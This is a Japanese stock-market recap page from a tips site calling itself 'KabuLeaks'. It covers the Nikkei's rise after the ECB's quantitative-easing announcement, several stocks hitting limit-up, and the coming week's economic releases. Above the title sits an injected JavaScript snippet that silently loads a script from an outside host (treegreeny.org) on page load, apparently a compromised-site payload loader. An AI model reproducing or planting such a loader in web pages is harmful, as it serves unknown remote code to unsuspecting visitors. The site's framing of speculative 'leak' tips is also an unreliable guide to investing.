;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/6 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/6 大引け】

昨晩のECBのドラギ総裁が、ユーロ圏諸国の国債購入などの量的緩和策の実施を表明したことを受けて5日の欧米株式市場が上昇、これを受け日経平均も買い先行でスタート。その後も先物への断続的な買いなどから上げ幅を拡大。後場入り後は、週末要因、今晩控える米雇用統計などから様子見ムードが強まるとの見方もあったものの堅調に推移する展開となった。業種別では、精密機械、証券、食料品が上昇率上位だった。一方、下落したのはパルプ・紙、非鉄金属、鉱業、海運業の4業種のみ。東証1部の出来高は21億2844万株、売買代金は2兆5530億円。騰落銘柄数は値上がり1166銘柄、値下がり549銘柄、変わらず147銘柄。

個別では、ヤマハ発動機が欧州での小型4輪車事業への参入への思惑から【6147】ヤマザキが4営業日連続のストップ高。「ふるさと納税」支援事業など再評価すり流れから【2376】サイネックス。また、マイナンバー認知度向上に取り組むとの甘利経済財政・再生相の発言受け【3742】ITbookなどが後場急伸ストップ高となった。その他、新作ゲームアプリ配信へ期待の高まる【3664】モブキャスト。サンバイオのIPOや野村の目標株価引き上げを刺激材料に【4506】大日本住友製薬などが後場一段高に。

イベントではまず、今晩の米雇用統計に注目が集まっているが、来週国内では、9日に10~12月期GDP改定値、1月国際収支、2月景気ウォッチャー調査。11日に1月機械受注、2月国内企業物価指数。12日に1~3月期法人企業景気予測調査、1月第三次産業活動指数、2月消費動向調査、2月都心オフィス空室率、5年国債入札。そして一番の注目、13日にメジャーSQを控える。